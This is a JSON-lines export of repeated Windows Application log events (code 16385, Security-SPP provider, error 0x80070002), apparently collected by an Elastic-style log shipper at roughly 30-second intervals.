{"@timestamp":1659001882174,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:22Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172046}}
{"@timestamp":1659001912184,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:52Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172047}}
{"@timestamp":1659001942192,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:22Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172048}}
{"@timestamp":1659001972247,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:52Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172049}}
{"@timestamp":1659002002314,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:22Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172050}}
{"@timestamp":1659002032330,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:52Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172051}}
{"@timestamp":1659002062344,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:22Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172052}}
{"@timestamp":1659002092355,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:52Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172053}}
{"@timestamp":1659002122365,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:22Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172054}}
{"@timestamp":1659002152375,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:52Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172055}}
{"@timestamp":1659002182386,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:22Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172056}}
{"@timestamp":1659002212395,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:52Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172057}}
{"@timestamp":1659002242405,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:22Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172058}}
{"@timestamp":1659002272420,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:52Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172059}}
{"@timestamp":1659002302437,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:22Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172060}}
{"@timestamp":1659002332447,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:52Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172061}}
{"@timestamp":1659002362458,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:22Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172062}}
{"@timestamp":1659002392686,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:52Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172063}}
{"@timestamp":1659002423415,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:22Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172064}}
{"@timestamp":1659002453589,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:53Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172065}}
{"@timestamp":1659002483604,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:23Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172066}}
{"@timestamp":1659002513613,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:53Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172067}}
{"@timestamp":1659002543623,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:23Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172068}}
{"@timestamp":1659002573633,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:53Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172069}}
{"@timestamp":1659002603641,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:23Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172070}}
{"@timestamp":1659002633652,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:53Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172071}}
{"@timestamp":1659002663661,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:23Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172072}}
{"@timestamp":1659002693668,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:53Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172073}}
{"@timestamp":1659002723676,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:23Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172074}}
{"@timestamp":1659002753683,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:53Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172075}}
{"@timestamp":1659002783689,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:23Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172076}}
{"@timestamp":1659002813695,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:53Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172077}}
{"@timestamp":1659002843701,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:23Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172078}}
{"@timestamp":1659002873711,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:53Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172079}}
{"@timestamp":1659002903720,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:23Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172080}}
{"@timestamp":1659002933727,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:53Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172081}}
{"@timestamp":1659002963734,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:23Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172082}}
{"@timestamp":1659002993742,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:53Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172083}}
{"@timestamp":1659003023749,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:23Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172084}}
{"@timestamp":1659003053756,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:53Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172085}}
{"@timestamp":1659003083762,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:23Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172086}}
{"@timestamp":1659003113770,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:53Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172087}}
{"@timestamp":1659003143775,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:23Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172088}}
{"@timestamp":1659003173784,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:53Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172089}}
{"@timestamp":1659003203792,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:23Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172090}}
{"@timestamp":1659003233798,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:53Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172091}}
{"@timestamp":1659003263805,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:23Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172092}}
{"@timestamp":1659003293814,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:53Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172093}}
{"@timestamp":1659003323821,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:23Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172094}}
{"@timestamp":1659003353829,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:53Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172095}}
{"@timestamp":1659003383834,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:23Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172096}}
{"@timestamp":1659003413843,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:53Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172097}}
{"@timestamp":1659003443850,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:23Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172098}}
{"@timestamp":1659003473868,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:53Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172099}}
{"@timestamp":1659003503875,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:23Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172100}}
{"@timestamp":1659003533882,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:53Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172101}}
{"@timestamp":1659003563888,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:23Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172102}}
{"@timestamp":1659003593897,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:53Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172103}}
{"@timestamp":1659003623905,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:23Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172104}}
{"@timestamp":1659003653912,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:53Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172105}}
{"@timestamp":1659003683919,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:23Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172106}}
{"@timestamp":1659003713927,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:53Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172107}}
{"@timestamp":1659003743935,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:23Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172108}}
{"@timestamp":1659003773943,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:53Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172109}}
{"@timestamp":1659003803952,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:23Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172110}}
{"@timestamp":1659003833961,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:53Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172111}}
{"@timestamp":1659003863970,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:23Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172112}}
{"@timestamp":1659003893978,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:53Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172113}}
{"@timestamp":1659003923987,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:23Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172114}}
{"@timestamp":1659003953996,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:53Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172115}}
{"@timestamp":1659003984002,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:24Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172116}}
{"@timestamp":1659004014010,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:54Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172117}}
{"@timestamp":1659004044017,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:24Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172118}}
{"@timestamp":1659004074024,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:54Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172119}}
{"@timestamp":1659004104034,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:24Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172120}}
{"@timestamp":1659004134041,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:54Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172121}}
{"@timestamp":1659004164048,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:24Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172122}}
{"@timestamp":1659004194056,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:54Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172123}}
{"@timestamp":1659004224063,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:24Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172124}}
{"@timestamp":1659004254070,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:54Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172125}}
{"@timestamp":1659004284077,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:24Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172126}}
{"@timestamp":1659004314084,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:54Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172127}}
{"@timestamp":1659004344090,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:24Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172128}}
{"@timestamp":1659004374097,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:54Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172129}}
{"@timestamp":1659004404104,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:24Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172130}}
{"@timestamp":1659004434111,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:54Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172131}}
{"@timestamp":1659004464117,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:24Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172132}}
{"@timestamp":1659004494123,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:54Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172133}}
{"@timestamp":1659004524129,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:24Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172134}}
{"@timestamp":1659004554136,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:54Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172135}}
{"@timestamp":1659004584142,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:24Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172136}}
{"@timestamp":1659004614149,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:54Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172137}}
{"@timestamp":1659004644155,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:24Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172138}}
{"@timestamp":1659004674161,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:54Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172139}}
{"@timestamp":1659004704167,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:24Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172140}}
{"@timestamp":1659004734173,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:54Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172141}}
{"@timestamp":1659004764179,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:24Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172142}}
{"@timestamp":1659004794186,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:54Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172143}}
{"@timestamp":1659004824198,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:24Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172144}}
{"@timestamp":1659004854205,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:54Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172145}}
{"@timestamp":1659004884214,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:24Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172146}}
{"@timestamp":1659004914221,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:54Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172147}}
{"@timestamp":1659004944230,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:24Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172148}}
{"@timestamp":1659004974242,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:54Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172149}}
{"@timestamp":1659005004250,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:24Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172150}}
{"@timestamp":1659005034258,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:54Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172151}}
{"@timestamp":1659005064266,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:24Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172152}}
{"@timestamp":1659005094273,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:54Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172153}}
{"@timestamp":1659005124279,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:24Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172154}}
